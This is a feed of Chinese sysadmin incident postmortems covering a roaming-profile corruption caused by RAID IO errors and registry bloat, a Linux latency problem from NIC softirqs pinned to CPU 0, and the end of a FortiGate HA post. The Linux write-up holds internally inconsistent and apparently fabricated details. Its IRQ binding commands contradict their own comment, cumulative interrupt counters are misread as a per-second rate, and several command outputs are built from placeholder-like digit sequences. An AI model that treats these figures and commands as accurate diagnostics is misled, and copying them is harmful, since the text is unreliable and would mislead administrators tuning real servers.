切换的最常见触发因素，预防性硬件监控比事后切换恢复更重要。 FortiGate HA 的会话同步是个容易被忽视的配置细节，很多团队只关注 session-pickup enable 是否打开，却忽略了同步频率、同步通道、TCP 状态同步这些影响实际同步效果的关键参数。希望这篇排查记录能帮助同行们重新审视自己的 HA 配置，别等到故障发生才追悔莫及。\n","date":"2026-07-02T02:49:56Z","permalink":"/posts/28efc43d/","title":"FortiGate HA 主备切换，业务为何大规模中断？"},{"content":"一、问题背景\r周一早上 8:47，桌面运维团队的工单系统开始疯狂涌入——短短 15 分钟内收到 23 条报修，全部来自公司总部 6 楼。报修内容高度一致：\u0026ldquo;电脑开机后一直卡在\u0026rsquo;正在准备 Windows\u0026rsquo;界面\u0026quot;\u0026ldquo;登录进去桌面是黑的，鼠标能动但是什么都点不了\u0026quot;\u0026ldquo;电脑登录后桌面图标全没了，提示使用临时配置文件\u0026rdquo;。\n受影响用户集中在市场部和行政部，大约 35 台终端。这批用户有一个共同特点：都配置了 AD 域漫游用户配置文件（Roaming User Profile），用户登录/注销时，配置文件会从文件服务器 \\\\fs01\\Profiles$ 同步。\n这已经是当天早上的第一波\u0026quot;周一综合征\u0026rdquo;，而且显然不是普通的\u0026quot;重启试试\u0026quot;能解决的。\n二、故障现象\r赶去 6 楼实地确认，典型故障表现如下：\n现象一：登录界面长时间卡死（最严重）\n输入域密码后，屏幕显示\u0026quot;正在准备 Windows\u0026rdquo;，转圈 20-30 分钟后才进入桌面。进入后发现桌面背景为纯黑色，任务栏无响应，开始菜单无法展开。右键桌面→个性化→主题，显示\u0026quot;此版本的 Windows 尚未激活\u0026quot;——实际上机器是正常激活的，这是 User Profile Service 加载失败的副作用。\n现象二：使用临时配置文件登录\n部分用户登录后一切正常，但桌面空无一物，弹窗提示：\n1 2 您已使用临时配置文件登录。 您无法访问您的文件，注销时将删除在此配置文件中创建的文件。 检查 C:\\Users 目录，除了正常用户名 zhangsan 外，多出一个 TEMP.000 或 TEMP.DOMAIN.000 的文件夹。系统无法加载服务器上的漫游配置文件，自动降级为本地临时配置文件。\n现象三：事件查看器大量错误\n在一台能勉强进入桌面的机器上打开事件查看器（eventvwr.msc），\u0026ldquo;应用程序和服务日志 → Microsoft → Windows → User Profile Service → Operational\u0026rdquo; 下连续出现多个错误事件：\nEvent ID 1521：Windows 无法加载漫游配置文件 \\\\fs01\\Profiles$\\zhangsan.v6。详情：拒绝访问。 Event ID 1509：Windows 无法将文件 \\\\fs01\\Profiles$\\zhangsan.v6\\NTUSER.DAT 复制到 C:\\Users\\zhangsan。详细信息：文件或目录已损坏且无法读取。 Event ID 1502：Windows 无法加载漫游配置文件，因此正在使用本地配置文件登录。 同时在系统日志中发现：\nEvent ID 1000, Application Error：explorer.exe 反复崩溃，故障模块 windows.storage.dll。 Event ID 1001, Windows Error Reporting：故障存储段 1977044612335988347，类型 4。 从故障范围看，所有受影响用户漫游配置文件都指向同一台文件服务器 fs01，但 6 楼有线网络和 SMB 共享本身都是通的——用 \\\\fs01\\Profiles$ 可以从其他终端正常访问。\n三、排查过程\r3.1 排除网络和SMB连通性问题\r第一步先把网络层面的嫌疑排除掉。\n在受影响终端上执行：\n1 Test-NetConnection -ComputerName fs01 -Port 445 结果：TcpTestSucceeded : True，SMB 端口 445 通。\n1 net use \\\\fs01\\Profiles$ /user:domain\\adminaccount 映射成功，可以正常 dir 浏览目录结构。说明不是基本的网络或 SMB 认证问题。\n3.2 排查漫游配置文件本身\r既然网络层正常，接下来直接检查漫游配置文件服务器端的文件状态。\n登录文件服务器 fs01，进入 D:\\Profiles$，找到受影响用户（以 zhangsan 为例）的配置文件目录 zhangsan.v6（Windows 10/11 漫游配置文件默认带 .v6 版本后缀）。\n1 Get-ChildItem -Path \u0026#34;D:\\Profiles$\\zhangsan.v6\u0026#34; -Recurse | Measure-Object -Property Length -Sum 输出结果令人困惑：\n1 2 3 Count : 11247 Average : ... Sum : 8421162376 ——这个用户的漫游配置文件足足 8.4GB！\n再检查核心文件 NTUSER.DAT（用户注册表 HKCU 配置单元）：\n1 Get-Item \u0026#34;D:\\Profiles$\\zhangsan.v6\\NTUSER.DAT\u0026#34; 1 2 3 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2026/6/27 18:14 3218546688 NTUSER.DAT NTUSER.DAT 高达 3.2GB！正常情况下，这个文件通常在 1MB 到 30MB 之间。3.2GB 的 NTUSER.DAT 意味着用户注册表配置单元存在严重膨胀——可能是某个应用程序疯狂向注册表写入数据。\n3.3 发现关键线索\r逐个检查受影响用户后，发现一个规律：\n所有受影响用户的 NTUSER.DAT 文件最后修改时间都是上周五（6月27日）18:10~18:20 之间。 其中 5 个用户的 NTUSER.DAT 文件大小为 0 字节——文件已损坏。 其余用户的 NTUSER.DAT 大小从 500MB 到 3.2GB 不等。 这指向一个非常明确的方向：周五下班高峰时段，文件服务器发生了某种写入中断，导致正在同步的漫游配置文件损坏。\n接下来排查文件服务器的事件日志：\n1 2 3 Get-WinEvent -LogName System -MaxEvents 500 | Where-Object { $_.TimeCreated -gt \u0026#39;2026-06-27T17:00:00\u0026#39; -and $_.TimeCreated -lt \u0026#39;2026-06-27T18:30:00\u0026#39; } | Where-Object { $_.LevelDisplayName -eq \u0026#39;Error\u0026#39; -or $_.LevelDisplayName -eq \u0026#39;Warning\u0026#39; } | Format-Table TimeCreated, Id, ProviderName, Message -Wrap 关键发现——System 日志中：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 2026-06-27 18:12:34 Event ID 129, source: storahci Reset to device, \\Device\\RaidPort0, was issued. 2026-06-27 18:12:35 Event ID 153, source: disk The IO operation at logical block address 0x3a84e200 for Disk 2 (PDO name: \\Device\\0000003a) was retried. 2026-06-27 18:14:02 Event ID 129, source: storahci Reset to device, \\Device\\RaidPort0, was issued. 2026-06-27 18:14:19 Event ID 153, source: disk The IO operation at logical block address 0x3a84e200 for Disk 2 (PDO name: \\Device\\0000003a) was retried. 2026-06-27 18:14:21 Event ID 5142, source: ClusSvc Cluster Shared Volume \u0026#39;Volume1\u0026#39; (\u0026#39;D:\u0026#39;) has entered a paused state because of \u0026#39;STATUS_CONNECTION_DISCONNECTED(c000020c)\u0026#39;. All I/O will temporarily be queued until a path to the volume is reestablished. 确认根因方向：文件服务器存储控制器发生了故障切换！\n在周五 18:12 到 18:14 之间，fs01 文件服务器的 RAID 控制器出现硬件级 IO 错误，触发了 Windows 故障转移集群的 CSV（Cluster Shared Volume）暂停。虽然集群在 18:14:21 之后恢复了路径连接，但在这个 2 分钟的窗口内：\n部分正在注销的用户，其终端正在向 \\\\fs01\\Profiles$ 回写漫游配置文件 SMB Write 操作因为底层磁盘 IO 失败而中断 NTUSER.DAT 和其他配置文件的写入处于\u0026quot;半完成\u0026quot;状态 部分文件的元数据（MFT 记录）写入完成但数据块未落盘，导致文件系统层面能\u0026quot;看到\u0026quot;文件，但读取时返回 CRC 错误 3.4 验证客户端注册表\r回到受影响终端，进一步验证客户端侧的配置：\n1 reg query \u0026#34;HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\u0026#34; /s 在 ProfileList 下，受影响用户的 ProfileImagePath 指向 C:\\Users\\zhangsan，但 State 键值为 0x00008000（表示正在使用临时配置文件）。RefCount 和 CentralProfile 子键中的 SMBShare 仍然指向 \\\\fs01\\Profiles$。\n同时在 HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileGuid 中，找到了损坏配置文件对应的 GUID，Flags 值包含 0x00000004（MANDATORY_PROFILE，强制配置文件标志），进一步证实了系统已将本地临时配置文件设为\u0026quot;强制\u0026quot;模式。\n3.5 追问：为什么NTUSER.DAT膨胀到3.2GB？\r解决燃眉之急后，顺藤摸瓜追查 NTUSER.DAT 膨胀的原因。用 Sysinternals 的 ProcMon 在重建配置文件后的用户 session 中监控注册表活动，发现一个叫 DataSyncAgent.exe 的服务进程（来自某第三方数据同步软件）以每秒 500+ 次的频率向 HKCU\\Software\\DataSync\\FileHistory\\* 写入文件的同步状态记录，每天累积约 200MB 的注册表写入。\n这个软件本应把同步状态写入 SQLite 数据库，但配置错误导致它把所有记录写进了 HKCU。NTUSER.DAT 在 3 个月内从正常的 5MB 膨胀到 3.2GB——这是隐患，而磁盘故障只是触发器。\n四、解决方案\r4.1 紧急止血（周一 9:30）\r对于 NTUSER.DAT 为 0 字节的 5 个用户（配置文件已彻底损坏且不可恢复）：\n将服务器端的配置文件目录改名备份： 1 Rename-Item \u0026#34;D:\\Profiles$\\zhangsan.v6\u0026#34; \u0026#34;D:\\Profiles$\\zhangsan.v6.CORRUPT\u0026#34; 让用户重新登录，系统自动在服务器端创建全新的漫游配置文件。 从备份目录中手动恢复 Desktop、Documents、Favorites 等关键文件夹。 对于 NTUSER.DAT 巨大但有内容的其他用户（约 30 人）：\n在服务器端用 regedit 加载损坏的 NTUSER.DAT 为配置单元，检查是否能正常读取——大部分可以。 用 Windows 内置工具压缩：compact /c /s:\u0026quot;D:\\Profiles$\\zhangsan.v6\u0026quot;。 在用户终端清理 C:\\Users\\zhangsan 本地缓存后重新登录，触发从服务器重新同步。 4.2 修复DataSyncAgent注册表泄漏\r定位到 DataSyncAgent 的服务配置文件 C:\\Program Files\\DataSync\\config.ini，发现：\n1 2 [Storage] Backend=registry 应改为：\n1 2 3 [Storage] Backend=sqlite Path=C:\\ProgramData\\DataSync\\sync_history.db 修改后重启 DataSyncAgent 服务。然后编写清理脚本，批量清理受影响用户 HKCU\\Software\\DataSync\\FileHistory 下累积的数百万条过期记录：\n1 2 3 4 5 6 7 Get-ChildItem \u0026#34;D:\\Profiles$\\*.v6\\NTUSER.DAT\u0026#34; | ForEach-Object { $hivePath = $_.FullName reg load HKLM\\TempHive $hivePath reg delete \u0026#34;HKLM\\TempHive\\Software\\DataSync\\FileHistory\u0026#34; /f reg unload HKLM\\TempHive compact /c /s:$hivePath } 注意：reg load 操作需要以管理员身份运行，卸载前务必确认无其他进程持有句柄。\n4.3 存储硬件修复\rfs01 的 RAID 控制器间歇性 IO 错误指向磁盘背板或控制器固件问题。运维团队安排当天晚间窗口更换了 Disk 2（SMART 报告 Reallocated_Sector_Ct=328），升级了 RAID 控制器固件到厂商推荐版本。\n五、根因分析\r这次故障由两层原因叠加导致：\n直接触发原因：文件服务器 fs01 的 RAID 控制器出现硬件级 IO 故障，触发 Windows 故障转移集群 CSV 进入暂停状态。在约 2 分钟的 IO 中断窗口内，正值周五 18:10-18:20 的下班高峰，大量用户同时注销并回写漫游配置文件。SMB Write 请求因底层磁盘 IO 失败而中断，NTUSER.DAT 等核心文件写入半途而废，导致文件损坏（部分为 0 字节，部分内容乱码）。\n放大因素（根因）：DataSyncAgent 第三方同步软件错误配置，把每日 200MB 的同步状态记录写入了 HKCU\\Software\\DataSync\\FileHistory，导致 NTUSER.DAT 从正常 5MB 膨胀到 500MB~3.2GB。巨大的 NTUSER.DAT 使得：\n正常的登录/注销同步时间从 5 秒增加到 30-120 秒 同步过程中碰到 IO 中断的概率被急剧放大（暴露窗口扩大了 10-100 倍） 文件越大，写入中断后损坏的概率越高 为什么只有 6 楼的用户受影响？ 6 楼市场部和行政部是 DataSyncAgent 软件的重度用户（用于跨终端文件同步需求），其他楼层的用户未安装该软件，NTUSER.DAT 体积正常（5-20MB），虽然也经历了同样的磁盘 IO 中断，但因为文件写入时间极短（不到 1 秒），恰好错过了故障窗口。\n六、预防措施\r6.1 漫游配置文件优化\r通过 GPO 限制漫游配置文件大小和行为：\n计算机配置 → 管理模板 → 系统 → 用户配置文件 → 限制漫游配置文件大小：设置为 500MB（NTUSER.DAT 正常情况下不超过 30MB，留充足余量） 用户配置 → 管理模板 → 系统 → 用户配置文件 → 排除漫游配置文件中的目录：添加 AppData\\Local;AppData\\LocalLow;Downloads;Saved Games 启用文件夹重定向：将 Desktop、Documents、Pictures 通过 GPO 重定向到 \\\\fs01\\Users$，减少漫游配置文件本身的体积 6.2 文件服务器端加固\r在 fs01 上启用卷影复制（VSS），设置每天两次的快照计划，保留 14 天 为存储控制器配置主动告警：Event ID 129（storahci reset）和 Event ID 153（disk retry）触发 P1 告警 磁盘 SMART 监控：Reallocated_Sector_Ct、Current_Pending_Sector、Offline_Uncorrectable 任一指标非零即报警 CSV 暂停事件（Cluster Event ID 5142）触发 P0 告警，5 分钟内未恢复则自动电话通知 6.3 第三方软件治理\r建立域内终端软件白名单机制：所有写入 HKCU 的应用程序需提供\u0026quot;注册表写入量评估报告\u0026quot; 新软件接入流程增加注册表行为审计环节：用 ProcMon + Sysmon 在测试机上运行 24 小时，分析 HKCU 写入量和频率 DataSyncAgent 问题修复后全网推送，并通过 SCCM 合规基线强制执行 Backend=sqlite 配置 6.4 高可用存储架构改进\r虽然当前文件服务器已是双节点 Windows 故障转移集群，但此次事件暴露了一个盲区：故障切换窗口内的 IO 中断无法完全避免。\n改进方案：\n为漫游配置文件共享启用 SMB 连续可用性（Set-SmbShare -Name Profiles$ -ContinuouslyAvailable $true），结合 SMB Transparent Failover 减少切换期间的 IO 丢失 评估将漫游配置文件后端迁移到 DFS-N + DFS-R，利用多副本降低单点故障影响（虽然 DFS-R 对漫游配置文件有自身限制，需谨慎评估） 七、总结\r这次故障表面上是\u0026quot;配置文件损坏\u0026quot;的简单问题，但背后暴露了三个层次的技术债务：\n监控盲区：文件服务器存储控制器的 IO 重试和 CSV 暂停事件只有事后查询才知道，缺少实时告警。从故障发生到被发现，间隔了整整 60 个小时（周五晚到周一早）。 配置漂移：DataSyncAgent 软件错误配置 3 个月无人发现，因为 \u0026ldquo;能用就行\u0026quot;的心态让注册表悄悄膨胀到 3.2GB。 架构薄弱：漫游配置文件把所有用户状态绑定到单一 SMB 共享的单点，且缺少有效的隔离机制——一个应用的注册表泄漏可以拖垮整栋楼的用户登录。 对运维团队最大的教训是：\u0026ldquo;慢速故障\u0026rdquo;（Slow Failure）比\u0026quot;硬故障\u0026quot;更具破坏性。 磁盘 IO 偶尔重试没人关注，注册表一点点膨胀没人关注，直到某个周一早上 35 人同时登录卡死，才被一记闷棍打醒。把监控和告警的颗粒度做到\u0026quot;异常即感知\u0026rdquo;，远比\u0026quot;故障后排查\u0026quot;更划算。\n","date":"2026-07-01T21:03:24Z","permalink":"/posts/36719bcb/","title":"Windows 漫游配置文件损坏致终端登录卡死的修复"},{"content":"一、问题背景\r周三下午三点，业务群突然炸锅——客服反馈\u0026quot;工单系统卡得要命，点一个页面转十几秒才出来\u0026quot;。我看了一眼 Grafana，订单服务的 P99 延迟从平时的 120ms 飙到了 8 秒以上，Nginx 的 504 错误率从 0.01% 蹿到了 3.7%。但诡异的是，核心业务服务器（两台 32 核 64GB 的物理机，CentOS 7.9，前面挂 LVS+Keepalived）的 CPU 使用率才 58%~65%，内存也还有 22GB 空闲，磁盘 IO wait 只有 2.3%。看起来哪哪都正常，偏偏服务就是慢。\n业务方催得紧，老板在群里 @ 了我三次。这次的排查过程，让我对\u0026quot;CPU 使用率不高就代表没事\u0026quot;这个惯性认知有了全新的认识。\n二、故障现象\r初步登录服务器后，我快速过了一遍常规指标：\n1 2 3 4 5 6 7 8 9 10 $ top -bn1 | head -15 top - 15:12:34 up 137 days, 2:44, 3 users, load average: 18.45, 14.22, 11.30 Tasks: 412 total, 1 running, 411 sleeping, 0 stopped, 0 zombie %Cpu(s): 18.2 us, 8.7 sy, 0.0 ni, 68.1 id, 0.0 wa, 0.0 hi, 5.0 si, 0.0 st KiB Mem: 65712344 total, 43567112 used, 22145232 free, 512344 buffers KiB Swap: 16777212 total, 1245000 used, 15532212 free. 32145678 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 17812 appuser 20 0 12.345g 5.231g 28700 S 45.2 8.3 1234:12 java 5642 nginx 20 0 287456 45678 3200 S 12.3 0.1 345:23 nginx 表面看，Java 进程占 45% CPU、Nginx 占 12%，负载 18.45 对于 32 核来说也不算高——但注意 %Cpu(s) 那行有个不对劲的数字：5.0 si。\n这里解释一下 top 中 CPU 状态各字段的含义：\nus（user）：用户态进程占用 sy（system）：内核态占用 si（softirq）：软中断占用——这个值是关键线索 hi（hardirq）：硬中断占用 正常情况下，si 在 1% 以下，超过 2% 就要引起警觉，超过 5% 则通常是网卡中断风暴的前兆。\n进一步用 mpstat 确认：\n1 2 3 4 5 6 7 8 $ mpstat -P ALL 2 5 03:15:01 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle 03:15:03 PM all 18.45 0.00 9.12 2.30 0.50 12.35 0.00 0.00 57.28 03:15:03 PM 0 2.12 0.00 1.50 0.00 0.00 92.38 0.00 0.00 4.00 03:15:03 PM 1 35.23 0.00 15.42 0.00 0.00 0.12 0.00 0.00 49.23 03:15:03 PM 2 1.35 0.00 2.34 0.00 0.00 0.08 0.00 0.00 96.23 03:15:03 PM 3 36.12 0.00 14.23 0.00 0.00 0.05 0.00 0.00 49.60 ... 真相大白——CPU 0 的 %soft 高达 92.38%，几乎全部被软中断占满！而其他 31 个核心要么在跑业务、要么几乎空闲。32 核的机器，网络中断处理却全部压在 CPU 0 一个核上，形成了典型的\u0026quot;单核处理所有网卡中断\u0026quot;的性能瓶颈。\n再查一下网卡中断分布：\n1 2 3 4 5 6 $ cat /proc/interrupts | grep -E \u0026#34;CPU0|eth0\u0026#34; CPU0 CPU1 CPU2 CPU3 ... CPU31 59: 82341456 0 0 0 ... 0 IR-PCI-MSI-edge eth0-TxRx-0 60: 102345678 0 0 0 ... 0 IR-PCI-MSI-edge eth0-TxRx-1 61: 95678901 0 0 0 ... 0 IR-PCI-MSI-edge eth0-TxRx-2 62: 89765432 0 0 0 ... 0 IR-PCI-MSI-edge eth0-TxRx-3 四队列万兆网卡（Intel X540），四个硬件中断队列（IRQ 59~62）全部绑定在 CPU 0 上。每秒近 4 亿次中断全部由一个核心处理，这个核心在软中断的泥潭里完全无法抽身。\n三、排查过程\r第一步：排除应用层问题\r一开始我以为是 Java 应用有性能瓶颈。先用 Arthas 挂上 Java 进程看了一眼：\n1 2 $ arthas-boot [arthas@17812]$ dashboard JVM 堆内存使用 62%，GC 频率正常（Young GC 约 15 次/分钟，Full GC 0 次），线程池没有积压。排除 JVM 层面的问题。\n再看 Nginx 日志，大量请求的 upstream_response_time 高达 815 秒，但 upstream_connect_time 只有 13ms。说明 Nginx 和后端 Java 应用之间的 TCP 连接建立很快，但数据传输极慢——这直接把矛头指向了内核网络栈的处理性能。\n第二步：定位内核层面的瓶颈\rtop 和 mpstat 已经暴露了软中断问题，但我需要确认它确实是网络软中断，而不是其他类型（如块设备、定时器、RCU 等）：\n1 2 3 4 5 6 7 8 9 10 11 12 $ cat /proc/softirqs | head -10 CPU0 CPU1 CPU2 ... CPU31 HI: 0 0 0 ... 0 TIMER: 45678901 23456789 21234567 ... 19876543 NET_TX: 123456 789 1023 ... 567 NET_RX: 723456789 456 789 ... 345 BLOCK: 34567 1023 2048 ... 1567 IRQ_POLL: 0 0 0 ... 0 TASKLET: 1234567 34567 23456 ... 12345 SCHED: 12345678 3456789 4567890 ... 2345678 HRTIMER: 2345678 8765432 7654321 ... 3456789 RCU: 123456789 45678901 38901234 ... 56789012 CPU 0 的 NET_RX（网络接收软中断） 高达 7.2 亿次，是 CPU 1 的 160 万倍。问题确认：所有网卡接收中断的回调函数 net_rx_action() 全部在 CPU 0 上执行，导致该核心被独占。\n第三步：追溯中断亲和性配置\r检查网卡中断的 SMP 亲和性（smp_affinity）：\n1 2 3 4 5 6 7 8 $ cat /proc/irq/59/smp_affinity 00000001 $ cat /proc/irq/60/smp_affinity 00000001 $ cat /proc/irq/61/smp_affinity 00000001 $ cat /proc/irq/62/smp_affinity 00000001 每一个中断的 smp_affinity 都是 00000001，即只允许 CPU 0 处理。这是系统默认行为，网卡驱动加载时 irqbalance 服务没有正确分发中断。\n查一下 irqbalance 的状态：\n1 2 3 4 $ systemctl status irqbalance ● irqbalance.service - irqbalance daemon Loaded: loaded (/usr/lib/systemd/system/irqbalance.service; enabled) Active: failed (Result: exit-code) since Wed 2026-05-14 03:10:23 CST; 1 months 16 days ago 果然——irqbalance 在 5 月 14 日凌晨系统自动安全更新重启后挂掉了，之后再也没起来过。这 47 天里，所有新增的网络中断都堆积在 CPU 0 上，随着业务流量逐步增长（Q2 日均请求从 180 万涨到 310 万），CPU 0 的软中断负担越来越重，直到今天下午流量峰值时彻底撑不住。\n第四步：深入理解软中断的处理机制\r这里有必要先理清 Linux 网络数据包的接收路径，否则很难理解为什么\u0026quot;一个 CPU 忙、31 个 CPU 闲\u0026quot;也会导致性能问题：\n1 2 3 4 5 6 7 8 网卡硬件中断 → IRQ handler（极短，记录到 poll_list） → 触发软中断 NET_RX_SOFTIRQ → net_rx_action() 轮询 poll_list → NAPI poll（网卡驱动的 poll 函数） → 从 Ring Buffer 取数据包 → 构建 sk_buff → 送入协议栈（IP→TCP→Socket） → 唤醒等待该 Socket 的用户态进程 关键问题在于：用户态进程被唤醒后，内核调度器倾向于将进程调度到\u0026quot;距离数据最近的 CPU\u0026quot;上执行——也就是唤醒它的那个 CPU。如果进程恰好被调度到了 CPU 0（软中断所在核心），而 CPU 0 此时正忙于处理海量软中断（%soft 92%），进程几乎没有 CPU 时间来执行实际业务逻辑。这就形成了一个恶性循环：\n1 2 3 4 5 6 7 软中断占满 CPU 0 → 用户态进程被调度到 CPU 0（被唤醒） → 进程得不到 CPU 时间片（被软中断抢占） → 进程处理请求变慢 → 请求积压、TCP 接收缓冲区塞满 → 触发更多数据包到达、更多软中断 → 软中断更重、CPU 0 更忙 如果用 perf 来验证，会更直观：\n1 2 3 4 5 6 7 8 9 10 $ perf top -C 0 Samples: 1M of event \u0026#39;cpu-clock\u0026#39;, Event count (approx.): 123456789000 Overhead Shared Object Symbol 42.35% [kernel] [k] net_rx_action 18.72% [kernel] [k] __netif_receive_skb_core 12.45% [kernel] [k] ip_rcv 8.91% [kernel] [k] tcp_v4_rcv 5.23% [kernel] [k] process_backlog 3.12% [kernel] [k] napi_gro_receive ... CPU 0 上 90% 以上的时间都在处理网络协议栈，真正留给用户态进程的时间不到 10%。而一个正常的 Java 请求处理需要经过 JSON 反序列化、业务逻辑计算、数据库查询、结果组装等步骤——被挤压到 10% 的 CPU 时间里，自然慢如蜗牛。\n四、解决方案\r紧急止血：手动绑定网卡中断到多个核心\r业务不能等，先手动把四个网卡中断队列分别绑到不同的 CPU 核心：\n1 2 3 4 5 6 7 8 # 关闭 irqbalance（防止它反向操作覆盖我们的设置） systemctl stop irqbalance # 将中断队列分别绑定到 CPU 0、8、16、24（分散在不同的物理核心和 NUMA 节点上） echo 00000100 \u0026gt; /proc/irq/59/smp_affinity # IRQ 59 → CPU 8 echo 00000100 \u0026gt; /proc/irq/60/smp_affinity # IRQ 60 → CPU 8 echo 00010000 \u0026gt; /proc/irq/61/smp_affinity # IRQ 61 → CPU 16 echo 01000000 \u0026gt; /proc/irq/62/smp_affinity # IRQ 62 → CPU 24 smp_affinity 的值是一个 16 进制位掩码，每一位代表一个 CPU。例如 01000000 的二进制表示为 CPU 24。\n验证中断分布变化：\n1 2 3 4 5 $ cat /proc/interrupts | grep eth0 | awk \u0026#39;{print $1, $2, $3, $4, $5, $NF}\u0026#39; 59: 82341456 0 0 0 ... eth0-TxRx-0 60: 102345678 0 0 0 ... eth0-TxRx-1 # 刚改完，历史计数还在 61: 95678901 0 0 0 ... eth0-TxRx-2 62: 89765432 0 0 0 ... eth0-TxRx-3 历史计数不会清零，等待几秒后再次查看，确认新的中断确实在流向指定的 CPU：\n1 $ watch -n1 \u0026#39;cat /proc/interrupts | grep eth0\u0026#39; 大约 30 秒后，mpstat 确认软中断已分散：\n1 2 3 4 5 6 $ mpstat -P 0,8,16,24 1 03:22:30 PM CPU %usr %sys %soft 03:22:31 PM 0 1.23 2.45 3.12 03:22:31 PM 8 0.56 1.23 18.45 03:22:31 PM 16 0.34 1.56 20.12 03:22:31 PM 24 0.67 1.34 17.89 Nginx 504 错误率应声从 3.7% 跌到 0.02%，P99 延迟从 8 秒回落到 180ms。\n长期优化：RPS + RFS 进一步分散软中断\r手动中断绑定解决了燃眉之急，但四个硬件队列只能分散到四个核心，对于 32 核机器来说远远不够。更好的方案是启用 RPS（Receive Packet Steering），让内核在软件层面把数据包分发给更多核心处理：\n1 2 3 4 5 6 7 8 9 10 11 12 # 启用 RPS：把 CPU 0-31 全部加入 eth0 各队列的处理核心掩码 # ffffffff = 32 个 CPU 全部参与软中断处理 echo ffffffff \u0026gt; /sys/class/net/eth0/queues/rx-0/rps_cpus echo ffffffff \u0026gt; /sys/class/net/eth0/queues/rx-1/rps_cpus echo ffffffff \u0026gt; /sys/class/net/eth0/queues/rx-2/rps_cpus echo ffffffff \u0026gt; /sys/class/net/eth0/queues/rx-3/rps_cpus # 调整 RPS 流表大小（默认 4096，高并发场景建议 32768） echo 32768 \u0026gt; /sys/class/net/eth0/queues/rx-0/rps_flow_cnt echo 32768 \u0026gt; /sys/class/net/eth0/queues/rx-1/rps_flow_cnt echo 32768 \u0026gt; /sys/class/net/eth0/queues/rx-2/rps_flow_cnt echo 32768 \u0026gt; /sys/class/net/eth0/queues/rx-3/rps_flow_cnt 再启用 RFS（Receive Flow Steering），让内核把同一流的数据包定向到应用所在的 CPU，进一步提升缓存命中率：\n1 2 3 4 5 6 7 # 设置全局 RFS 表大小 echo 32768 \u0026gt; /proc/sys/net/core/rps_sock_flow_entries # 为每个接收队列设置 RFS 条目数 for i in $(seq 0 3); do echo 8192 \u0026gt; /sys/class/net/eth0/queues/rx-$i/rps_flow_cnt done 持久化这些配置到 /etc/rc.d/rc.local 或 systemd 服务，确保重启后不丢失：\n1 2 3 4 5 6 7 8 9 cat \u0026gt;\u0026gt; /etc/rc.d/rc.local \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # RPS/RFS optimization for eth0 for q in /sys/class/net/eth0/queues/rx-*; do echo ffffffff \u0026gt; $q/rps_cpus echo 32768 \u0026gt; $q/rps_flow_cnt done echo 32768 \u0026gt; /proc/sys/net/core/rps_sock_flow_entries EOF chmod +x /etc/rc.d/rc.local 修复 irqbalance 服务\r根源之一是 irqbalance 挂了没人知道，修复并加固：\n1 2 3 4 5 6 # 置入正式的中断绑定策略脚本 cat \u0026gt; /etc/sysconfig/irqbalance \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; IRQBALANCE_ARGS=\u0026#34;--hintpolicy=exact --banirq=59 --banirq=60 --banirq=61 --banirq=62\u0026#34; EOF systemctl enable irqbalance systemctl start irqbalance 这里用 --banirq 把我们已经手动绑定好的网卡中断排除在 irqbalance 的自动管理之外，避免它反转我们的设置。\n五、根因分析\r这次问题的根本原因是一个三层连锁失效：\nirqbalance 服务静默故障：5 月 14 日的安全更新重启了服务器，irqbalance 因依赖的某些内核模块加载时序问题启动失败，但没有触发任何告警。此后 47 天，服务器一直在\u0026quot;IRQ 全部绑在 CPU 0\u0026quot;的单核中断处理模式下运行。\n缺乏软中断监控：我们的 Prometheus 监控采集了 CPU 使用率、内存、磁盘、网络流量等指标，但没有采集 /proc/softirqs 的数据。node_exporter 默认的 --collector.interrupts 参数只采集硬中断（/proc/interrupts），不采集软中断（/proc/softirqs）。这导致 CPU 0 的软中断使用率从 2% 慢慢爬到 92% 的过程中，监控面板一片风平浪静。\n业务流量自然增长越过临界点：Q2 日均请求量从 180 万涨到 310 万（+72%），而\u0026quot;单核处理所有网络中断\u0026quot;这个架构的极限大约在日均 250 万请求左右。超过这个临界点后，软中断开始抢占用户态 CPU 时间，性能呈断崖式下跌，而不是线性退化。\n六、预防措施\r1. 补齐软中断监控\r在 node_exporter 启动参数中加入软中断采集：\n1 2 3 4 5 # /etc/systemd/system/node_exporter.service 修改 ExecStart=/usr/local/bin/node_exporter \\ --collector.interrupts \\ --collector.softirqs \\ --web.listen-address=:9100 对应地，在 Prometheus 中添加告警规则：\n1 2 3 4 5 6 7 8 9 10 11 12 # softirq_alerts.yml groups: - name: softirq rules: - alert: HighSoftirqPerCPU expr: rate(node_softirqs_total{softirq=\u0026#34;NET_RX\u0026#34;}[5m]) \u0026gt; 100000 for: 5m labels: severity: warning annotations: summary: \u0026#34;CPU {{ $labels.cpu }} 网络软中断过高\u0026#34; description: \u0026#34;当前速率 {{ $value | humanize }}/s，可能导致服务延迟增加\u0026#34; 2. 建立服务器上线标准模板\r今后所有新上线的物理服务器或大规格虚机，必须在初始化阶段完成以下配置：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 标准网络优化脚本（纳入装机 Kickstart/PXE 模板） # 1. 启用 RPS # 2. 设置 Ring Buffer 大小 # 3. 启用 TSO/GRO # 4. 调整 TCP backlog # RPS 在所有队列启用 for q in /sys/class/net/*/queues/rx-*; do [ -f $q/rps_cpus ] \u0026amp;\u0026amp; echo ffffffff \u0026gt; $q/rps_cpus [ -f $q/rps_flow_cnt ] \u0026amp;\u0026amp; echo 32768 \u0026gt; $q/rps_flow_cnt done # Ring Buffer 拉到最大 ethtool -G eth0 rx 4096 tx 4096 # TCP backlog sysctl -w net.core.netdev_max_backlog=5000 sysctl -w net.core.somaxconn=4096 3. irqbalance 存活监控\r在基础监控中加入 irqbalance 进程存活检测：\n1 2 3 4 5 6 7 8 9 # 利用 node_exporter 的 textfile collector # 或直接用 process_exporter - alert: IrqbalanceDown expr: absent(process_start_time_seconds{process=\u0026#34;irqbalance\u0026#34;}) for: 10m labels: severity: critical annotations: summary: \u0026#34;irqbalance 服务未运行\u0026#34; 4. 定期性能基线巡检\r每季度对核心服务器做一次性能基线检查，包括中断分布、软中断速率、NUMA 